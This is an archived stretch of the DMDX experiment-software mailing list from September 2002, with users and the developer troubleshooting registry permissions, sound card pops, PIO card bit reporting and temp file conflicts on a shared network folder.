Forster"" Subject: [DMDX] Re: Cannot read registry when not admin In-Reply-To: References: <5.1.1.6.1.20020906140314.02c00120@kforster.inbox.email.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:01 PM 9/9/2002 -0500, you wrote: >We have four computers running windows XP pro on them. On 3 of them, I >am able to use limited accounts to run DMDX, as long as I specify that the >DMDX directory is read/write for limited accounts. On one of them, the >first one we used DMDX on, I cannot use a limited account to run DMDX. >When I run TimeDX as a limited user, I get an error saying that it cannot >open/create SOFTWARE\\TimeDX\\2\\Video_Driver. When I run DMDX, I get a >similar error - DMDX can't open the registry key and asks me if I've >run TimeDX. >Those registry entries are there, and I can view them with Regedit, even >as a limited user. When I make that limited user into an administrator, >everything works fine - but I really don't want subjects logged in as >administrators. Like I said, limited accounts work on three of the four >computers; I just can't figure out what makes the computer different from >the others. >The DMDX version is 2.9.01. For a start I _really_ recommend 3.0.0.02 for XP, but that's not for any permissions issues it's to make sure the video modes get timed correctly. On your permissions issue perhaps the difference between the machines comes from whether TimeDX was first run as Administrator or the limited account. Perhaps on one machine the registry keys were created as Administrator and aren't readable as a result whereas the others were first run as the limited account so the keys are readable by all and sundry. You can whack the TimeDX and DMDX registry forks with impunity (beyond have to run TimeDX again) to investigate the issue. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 9 19:54:30 2002 Received: from aquila.its.unimelb.EDU.AU (smtp1.unimelb.edu.au [128.250.20.111]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8A2s4MS021521 for ; Mon, 9 Sep 2002 19:54:05 -0700 Received: from CONVERSION-DAEMON by SMTP.UNIMELB.EDU.AU (PMDF V5.2-29 #46888) id <01KMC4CRZB0G911WB3@SMTP.UNIMELB.EDU.AU> for DMDX@psy1.psych.arizona.edu; Tue, 10 Sep 2002 12:52:52 +1000 Received: from Holmes.psych.unimelb.edu.au (holmes.psych.unimelb.edu.au [128.250.172.37]) by SMTP.UNIMELB.EDU.AU (PMDF V5.2-29 #46888) with ESMTP id <01KMC4CRII9M910KG0@SMTP.UNIMELB.EDU.AU> for DMDX@psy1.psych.arizona.edu; Tue, 10 Sep 2002 12:52:52 +1000 Date: Tue, 10 Sep 2002 12:57:37 +1000 From: Virginia Holmes Subject: [DMDX] Re: Cannot read registry when not admin In-reply-to: To: DMDX@psy1.psych.arizona.edu Message-id: <5.1.0.14.2.20020910125715.02558360@post.psych.unimelb.edu.au> MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii""; format=flowed References: <5.1.1.6.1.20020906140314.02c00120@kforster.inbox.email.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Sorry again, checking whether this transmits. >From DMDX-owner@psy1.psych.arizona.edu Tue Sep 10 08:57:14 2002 Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8AFulMS022862 for ; Tue, 10 Sep 2002 08:56:51 -0700 Received: from sis.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Tue, 10 Sep 2002 16:55:53 +0100 Received: from bris.ac.uk (psy046.psy.bris.ac.uk [137.222.60.46]) by sis.bris.ac.uk (8.11.6/8.11.6) with ESMTP id g8AFs9R08471 for ; Tue, 10 Sep 2002 16:54:09 +0100 (BST) Message-ID: <3D7E15B9.E8B3C64B@bris.ac.uk> Date: Tue, 10 Sep 2002 16:54:33 +0100 From: Sven Mattys MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Burst at speech file opening Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, Most of the speech files I play with dmdx begin with a short burst. However, the one in the first trial never does. A standard trial line looks like this (cross-modal priming): +001 ""asw01x"" /< ms% 100>/ * ""WORD""; When several speech files are opened on the same trial (e.g., auditory A-X task), only the first one gets the pop sound at the onset. Any idea what's happening? Thanks. nb: all speech files are recorded with CoolEdit and they sound fine inside of CoolEdit. Sven >From DMDX-owner@psy1.psych.arizona.edu Tue Sep 10 09:15:40 2002 Received: from sirius.mrc-cbu.cam.ac.uk ([192.18.195.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8AGFbMS022970 for ; Tue, 10 Sep 2002 09:15:37 -0700 Received: from [193.63.253.157] (helo=pc125.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 17onew-0003uy-00 for DMDX@psy1.psych.arizona.edu; Tue, 10 Sep 2002 17:14:38 +0100 Message-Id: <5.1.0.14.2.20020910170819.087a7938@193.63.253.1> Date: Tue, 10 Sep 2002 17:15:37 +0100 To: DMDX@psy1.psych.arizona.edu From: Maarten van Casteren Subject: [DMDX] Re: Burst at speech file opening In-Reply-To: <3D7E15B9.E8B3C64B@bris.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Sven, > Most of the speech files I play with dmdx begin with a short burst. > However, the one in the first trial never does. I've had the same problem, not only with DMDX but also when using DirectSound from other programs. As far as I know it is a bug in DirectSound, the part of DirectX that DMDX uses to output sound. I was not able to solve it, but I've been told that ending all your soundfiles with a few mSecs of silence helps. Apparently, if a soundfile ends too abruptly the soundcard ends up in a 'unfinished' state and the next file will start with this artefact. I haven't tried this solution myself, so I don't know if it really works. In my case it turned out that our labmachines are not showing this burst problem, only my desktop machine does, so it wasn't a real problem for me. This indicates that the problem doesn't happen with all soundcards. Hope this helps, Maarten >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 11 02:09:49 2002 Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8B993MS024776 for ; Wed, 11 Sep 2002 02:09:03 -0700 Received: from sis.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Wed, 11 Sep 2002 10:08:02 +0100 Received: from bris.ac.uk (psy046.psy.bris.ac.uk [137.222.60.46]) by sis.bris.ac.uk (8.11.6/8.11.6) with ESMTP id g8B97Zn15434 for ; Wed, 11 Sep 2002 10:07:35 +0100 (BST) Message-ID: <3D7F07ED.3DA76968@bris.ac.uk> Date: Wed, 11 Sep 2002 10:07:57 +0100 From: Sven Mattys MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Burst at speech file opening References: <5.1.0.14.2.20020910170819.087a7938@193.63.253.1> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Maarten, Thanks for your advice. I added 10 ms, and it still didn't work. I then tried 100 ms, and it worked. In the particular experiment I'm running , it is not a problem, but it will not always be. Yes, all my files end abruptly--the primes are chopped-off words. And yes, again, the problem only happens on my office machine, not on my lab computers... I've heard that it might, as you suggested, be the sound card. I'll try that too, but in the meantime I'll just use the silent padding technique. Sven >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 11 09:06:56 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8BG6aMS025624 for ; Wed, 11 Sep 2002 09:06:36 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3D7F38CB00004CBE for DMDX@psy1.psych.arizona.edu; Wed, 11 Sep 2002 09:05:39 -0700 Message-Id: <5.1.0.14.2.20020911090514.00b12848@psy1.psych.arizona.edu> Date: Wed, 11 Sep 2002 09:05:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Burst at speech file opening In-Reply-To: <3D7F07ED.3DA76968@bris.ac.uk> References: <5.1.0.14.2.20020910170819.087a7938@193.63.253.1> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:07 AM 9/11/2002 +0100, you wrote: >Hi Maarten, >Thanks for your advice. I added 10 ms, and it still didn't work. I then >tried 100 ms, and it worked. In the particular experiment I'm running , >it is not a problem, but it will not always be. >Yes, all my files end abruptly--the primes are chopped-off words. And >yes, again, the problem only happens on my office machine, not on my lab >computers... I've heard that it might, as you suggested, be the sound >card. I'll try that too, but in the meantime I'll just use the silent >padding technique. Sven Or hunt down some later drivers for the sound card. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are two ways to write error-free programs. Only the third one works. >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 13 08:03:14 2002 Received: from sirius.mrc-cbu.cam.ac.uk ([192.18.195.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8DEq3MS030552 for ; Fri, 13 Sep 2002 07:52:03 -0700 Received: from [193.63.253.157] (helo=pc125.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 17prmY-0003aJ-00 for DMDX@psy1.psych.arizona.edu; Fri, 13 Sep 2002 15:50:54 +0100 Message-Id: <5.1.0.14.2.20020913154046.01c0d078@193.63.253.1> Date: Fri, 13 Sep 2002 15:51:55 +0100 To: DMDX@psy1.psych.arizona.edu From: Maarten van Casteren Subject: [DMDX] Strange behaviour in zil mode In-Reply-To: <5.1.0.14.2.20020802105840.00b498b0@tec06.psych.arizona.edu > References: <5.1.0.14.2.20020730083625.00b404d8@jforster.inbox.email.ar izona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Jonathan, We just did some simple timing tests here to see how DMDX 3.0 is behaving itself with the Keithley PIO card in Win2000. The timing values it produces seem to be OK, but there is something we find difficult to explain. We are sending pulses to Bit0 and Bit1 every 500 ms, and each pulse is 50 ms wide. The pulse at Bit0 is about 200 ms delayed compared to Bit1, so we are actually sending a pulse to Bit1 and Bit2 alternatingly, with no overlap in time. Strangely enough, the zil output file reports -Bit1 when Bit0 switches off, and -Bit0 when Bit1 switches off. The '+' events are all correct, and all times seem to be measured with ms precision. Can you explain this? Thanks, Maarten >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 13 08:37:58 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8DFbXMS030698 for ; Fri, 13 Sep 2002 08:37:34 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3D81B210000074C0 for DMDX@psy1.psych.arizona.edu; Fri, 13 Sep 2002 08:36:31 -0700 Message-Id: <5.1.0.14.2.20020913082643.00b12848@psy1.psych.arizona.edu> Date: Fri, 13 Sep 2002 08:36:30 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Strange behaviour in zil mode In-Reply-To: <5.1.0.14.2.20020913154046.01c0d078@193.63.253.1> References: <5.1.0.14.2.20020802105840.00b498b0@tec06.psych.arizona.edu > <5.1.0.14.2.20020730083625.00b404d8@jforster.inbox.email.ar izona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:51 PM 9/13/2002 +0100, you wrote: >Hi Jonathan, > >We just did some simple timing tests here to see how DMDX 3.0 is behaving >itself with the Keithley PIO card in Win2000. The timing values it >produces seem to be OK, but there is something we find difficult to explain. > >We are sending pulses to Bit0 and Bit1 every 500 ms, and each pulse is 50 >ms wide. The pulse at Bit0 is about 200 ms delayed compared to Bit1, so we >are actually sending a pulse to Bit1 and Bit2 alternatingly, with no >overlap in time. > >Strangely enough, the zil output file reports -Bit1 when Bit0 switches >off, and -Bit0 when Bit1 switches off. The '+' events are all correct, and >all times seem to be measured with ms precision. > >Can you explain this? No, there's almost no way beyond resorting to cosmic rays for explanations that the code could be doing that. It's a loop that shifts though the bits of input and within that loop it decides if the button is pressed or released. You're sure your test jig is providing 50ms duration pulses? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are two ways to write error-free programs. Only the third one works. >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 13 08:51:32 2002 Received: from sirius.mrc-cbu.cam.ac.uk ([192.18.195.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8DFoxMS030797 for ; Fri, 13 Sep 2002 08:50:59 -0700 Received: from [193.63.253.157] (helo=pc125.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 17pshf-0004AB-00 for DMDX@psy1.psych.arizona.edu; Fri, 13 Sep 2002 16:49:55 +0100 Message-Id: <5.1.0.14.2.20020913164517.01c53410@193.63.253.1> Date: Fri, 13 Sep 2002 16:50:57 +0100 To: DMDX@psy1.psych.arizona.edu From: Maarten van Casteren Subject: [DMDX] Re: Strange behaviour in zil mode In-Reply-To: <5.1.0.14.2.20020913082643.00b12848@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020913154046.01c0d078@193.63.253.1> <5.1.0.14.2.20020802105840.00b498b0@tec06.psych.arizona.edu > <5.1.0.14.2.20020730083625.00b404d8@jforster.inbox.email.ar izona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Jonathan, > You're sure your test jig is providing 50ms duration pulses? Yes, absolutely sure. We had both signals on a scope all the time. Also we tried the setup with another experimentation program, that also uses the Keithley PIO card, and that program produced output that agreed with the scope (but not before I had removed a bug from it, I have to admit...) All pulses were reported by DMDX, and with correct timing. The only thing wrong was that -Bit1 and -Bit0 were the wrong way around. Maarten >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 13 14:49:20 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8DLmrMS031535 for ; Fri, 13 Sep 2002 14:48:53 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D81B0D700016C23 for DMDX@psy1.psych.arizona.edu; Fri, 13 Sep 2002 14:47:50 -0700 Message-Id: <5.1.0.14.2.20020913144055.00b130a0@psy1.psych.arizona.edu> Date: Fri, 13 Sep 2002 14:47:49 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Strange behaviour in zil mode In-Reply-To: <5.1.0.14.2.20020913164517.01c53410@193.63.253.1> References: <5.1.0.14.2.20020913082643.00b12848@psy1.psych.arizona.edu> <5.1.0.14.2.20020913154046.01c0d078@193.63.253.1> <5.1.0.14.2.20020802105840.00b498b0@tec06.psych.arizona.edu > <5.1.0.14.2.20020730083625.00b404d8@jforster.inbox.email.ar izona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:50 PM 9/13/2002 +0100, you wrote: >Hi Jonathan, > > > You're sure your test jig is providing 50ms duration pulses? > >Yes, absolutely sure. We had both signals on a scope all the time. Also we >tried the setup with another experimentation program, that also uses the >Keithley PIO card, and that program produced output that agreed with the >scope (but not before I had removed a bug from it, I have to admit...) > >All pulses were reported by DMDX, and with correct timing. The only thing >wrong was that -Bit1 and -Bit0 were the wrong way around. Well the code that processes PIO data is the same for all PIO devices unless of course you were using QPIO12 for the Keithley and PIO12 for the Metrabyte, that's different code. Are you using the QPIO12 in both instances? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 13 14:55:28 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8DLtQMS031602 for ; Fri, 13 Sep 2002 14:55:26 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D81B0D700016FE5 for DMDX@psy1.psych.arizona.edu; Fri, 13 Sep 2002 14:54:22 -0700 Message-Id: <5.1.0.14.2.20020913145258.00b130a0@psy1.psych.arizona.edu> Date: Fri, 13 Sep 2002 14:54:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Strange behaviour in zil mode In-Reply-To: <5.1.0.14.2.20020913144055.00b130a0@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020913164517.01c53410@193.63.253.1> <5.1.0.14.2.20020913082643.00b12848@psy1.psych.arizona.edu> <5.1.0.14.2.20020913154046.01c0d078@193.63.253.1> <5.1.0.14.2.20020802105840.00b498b0@tec06.psych.arizona.edu > <5.1.0.14.2.20020730083625.00b404d8@jforster.inbox.email.ar izona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:47 PM 9/13/2002 -0700, you wrote: Bzzt, forget I said that, I'm deep in another program right now. > Well the code that processes PIO data is the same for all PIO devices > unless of course you were using QPIO12 for the Keithley and PIO12 for the > Metrabyte, that's different code. Are you using the QPIO12 in both instances? Short answer is no, I can't see any way for DMDX to do what you report. I will have to look at it later. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 16 08:45:54 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8GFjJMS006048 for ; Mon, 16 Sep 2002 08:45:19 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3D85D2A10000479F for DMDX@psy1.psych.arizona.edu; Mon, 16 Sep 2002 08:44:07 -0700 Message-Id: <5.1.0.14.2.20020916083904.00b12818@psy1.psych.arizona.edu> Date: Mon, 16 Sep 2002 08:44:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Strange behaviour in zil mode Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list >X-Sender: jforster@jforster.inbox.email.arizona.edu >X-Mailer: QUALCOMM Windows Eudora Version 5.1 >Date: Mon, 16 Sep 2002 08:38:03 -0700 >To: ""j.c.f."" >From: Maarten van Casteren (by >way of ""Jonathan C. Forster"" ) >Subject: Re: [DMDX] Re: Strange behaviour in zil mode > > >Hi Jonathan > > > Are you using the QPIO12 in both instances? > >Yes, I'm only using QPIO12, anything else won't work with the Keithley >card in Win2k. Like I said, bzzt. I read your email as if you had both the Computer Boards and Keithley cards and it wasn't until some time later that I thought about how you would have gotten both and then I re-read it and realized my error. > > I can't see any way for DMDX to do what you report. > >I agree: it seems very unlikely that this is a bug, and that it went >unnoticed fro so long. So, there might be something wrong with our setup. > >I attached two files: one simple bmp showing the input signals, and the >output DMDX reports (this is just a silly impression I quickly copied from >a drawing our technical guy made.), and the zil file DMDX produced. > > > Bzzt, forget I said that, I'm deep in another program right now. > >No problem: we are still using our old setups with the precious version >and Win98, so there's no hurry. Your problem is that you are using positive logic, DMDX expects negative logic, 0V == button pressed. I meant to ask this question but forgot about it, sorry. My bet is that you will see the same effects regardless of what version of DMDX and input device is used. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are two ways to write error-free programs. Only the third one works. >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 16 09:14:17 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.18.195.1] (may be forged)) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8GG20MS006154 for ; Mon, 16 Sep 2002 09:02:01 -0700 Received: from [193.63.253.157] (helo=pc125.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 17qyIk-0004sI-00 for DMDX@psy1.psych.arizona.edu; Mon, 16 Sep 2002 17:00:43 +0100 Message-Id: <5.1.0.14.2.20020916165335.0434d608@193.63.253.1> Date: Mon, 16 Sep 2002 17:01:22 +0100 To: DMDX@psy1.psych.arizona.edu From: Maarten van Casteren Subject: [DMDX] Re: Strange behaviour in zil mode In-Reply-To: <5.1.0.14.2.20020916083904.00b12818@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Jonathan, > Your problem is that you are using positive logic, DMDX expects negative logic, > 0V == button pressed. I meant to ask this question but forgot about it, sorry. > My bet is that you will see the same effects regardless of what version of DMDX > and input device is used. Sorry, I forgot to tell you: I had all signals inversed in the graph I send you, because it makes it easier for me to see what is going on. The input going from 'off' to 'on' is indeed the voltage going from 5V (or something like that) to 0V. Maarten >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 16 15:38:27 2002 Received: from banta.psyc.missouri.edu (banta.psyc.missouri.edu [128.206.38.240]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8GMc7MS007002 for ; Mon, 16 Sep 2002 15:38:07 -0700 Received: from localhost (morey@localhost) by banta.psyc.missouri.edu (8.11.6/8.11.6) with ESMTP id g8GManS01241 for ; Mon, 16 Sep 2002 17:36:49 -0500 Date: Mon, 16 Sep 2002 17:36:49 -0500 (CDT) From: Richard Morey To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] weird things happening In-Reply-To: <5.1.0.14.2.20020916165335.0434d608@193.63.253.1> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list First, a bit of background about the way our lab works that may help figure out the problem. We have a computer running Linux that serves, via SMB, a mount to the Windows/DOS machines on which we run experiments (some with DMDX). DMDX RTF files for an experiment are kept in a directory on this mount, depending on the particular experiment. So I use 4 different RTF files for four different subjects, but they reside on this mount in the same directory. DMDX, however, is installed locally on every computer. To run a script file, I browse to the SMB mount (say, Z:) and select the script file and run it. I do not copy it to the local harddrive. I was running four subjects at a time today, and when they start at the same time, some of the DMDXs (3/4 the first time, 2/4 the second time) sit for a long time, then say something to the effect of ""Cannot find rtfparsed file"". I then exited DMDX, then reloaded it, and ran the scripts again. They ran right away. I cannot figure out why DMDX did this. Does it have to do with running from the same directory on the mount (ie DMDX is trying to create temp files or something on the mount, and four are trying all at once)? Also, one of the subjects reported that DMDX aborted. I looked at the last line it tried to execute, and sure enough, there was an error. But I looked at the RTF file, and the lines differed. The line which DMDX was running was not in the original RTF. I have zipped up the rtf file, the job1.zil file that I found in the directory which appears to be related, and the diagnostic.txt file (I know the ms timing errors are there - I'm not concerned with RT in this experiment). The last item that ran was 1116, I believe - notice the difference between that line in the diagnostic.txt and in the mr13cs4.rtf (the original rtf) file. What could cause this? Are there any other files which would help? These files can be found at http://bengal.missouri.edu/~moreyr/mr13cs4.zip Thanks in advance for your help. -- Richard Morey Graduate Research Assistant, Cognition and Neuroscience University of Missouri-Columbia >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 16 18:06:18 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8H15WMS007352 for ; Mon, 16 Sep 2002 18:05:32 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3D85D2A10001DFB6 for DMDX@psy1.psych.arizona.edu; Mon, 16 Sep 2002 18:04:19 -0700 Message-Id: <5.1.0.14.2.20020916180320.00b12818@psy1.psych.arizona.edu> Date: Mon, 16 Sep 2002 18:04:16 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: weird things happening In-Reply-To: References: <5.1.0.14.2.20020916165335.0434d608@193.63.253.1> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:36 PM 9/16/2002 -0500, you wrote: >First, a bit of background about the way our lab works that may help >figure out the problem. You can't run DMDX that way, the temporary file names it uses will conflict. You will have to have separate folders on the server for each instance of DMDX run on a client. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are two ways to write error-free programs. Only the third one works. >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 16 19:41:12 2002 Received: from protagoras.home (crtntx1-ar3-4-62-095-193.crtntx1.dsl-verizon.net [4.62.95.193]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8H2eUMS007560 for ; Mon, 16 Sep 2002 19:40:30 -0700 Received: from richie.home (richie.home [192.168.123.174]) by protagoras.home (8.11.6/8.11.6) with ESMTP id g8H2Wlu03334 for ; Mon, 16 Sep 2002 21:32:48 -0500 Subject: [DMDX] Re: weird things happening From: Richard Morey To: DMDX@psy1.psych.arizona.edu In-Reply-To: <5.1.0.14.2.20020916180320.00b12818@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020916165335.0434d608@193.63.253.1> <5.1.0.14.2.20020916180320.00b12818@psy1.psych.arizona.edu> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: 16 Sep 2002 21:39:14 -0500 Message-Id: <1032230355.2983.0.camel@richie> Mime-Version: 1.0 Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list On Mon, 2002-09-16 at 20:04, j.c.f. wrote: > At 05:36 PM 9/16/2002 -0500, you wrote: > > > >First, a bit of background about the way our lab works that may help > >figure out the problem. > > You can't run DMDX that way, the temporary file names it uses will > conflict. You will have to have separate folders on the server for each > instance of DMDX run on a client. > Would it be possible to have DMDX use random temp file names, or something of that sort? Perhaps based on the machine name, the time and the date? > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > There are two ways to write error-free programs. Only the third one > works. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -- Richard Morey Graduate Research Assistant, Cogntition and Neuroscience University of Missouri-Columbia >From DMDX-owner@psy1.psych.arizona.edu Tue Sep 17 09:59:54 2002 Received: from dux1.tcd.ie (dux1.tcd.ie [134.226.1.23]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8HGgfMS009089 for ; Tue, 17 Sep 2002 09:42:41 -0700 Received: from ntserver-e2w2.tcd.ie (ntserver-e2w2.tcd.ie [134.226.1.65]) by dux1.tcd.ie (Postfix) with ESMTP id 626517C5 for ; Tue, 17 Sep 2002 17:41:20 +0100 (IST) Date: Tue, 17 Sep 2002 17:41:20 +0100 From: keatingp To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] self-paced experiments w/ video stimuli Message-ID: <3D8E0149@ntserver-e2w2.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list hi there everybody, i was just wondering if any of you have ever succeeded in creating a self-paced experiment using digital video as stimuli. basically, i just need to know if it's possible for participants to interrupt the digital video playback. is there some way of getting DMDX to go on to the next trial whenever a response is made? hope someone can maybe point me in the right direction... many thanks, Peter Keating Psychology Dept., Trinity College, Dublin >From DMDX-owner@psy1.psych.arizona.edu Tue Sep 17 12:49:37 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8HJn0MS009484 for ; Tue, 17 Sep 2002 12:49:00 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D87240100010FF5 for DMDX@psy1.psych.arizona.edu; Tue, 17 Sep 2002 12:47:44 -0700 Message-Id: 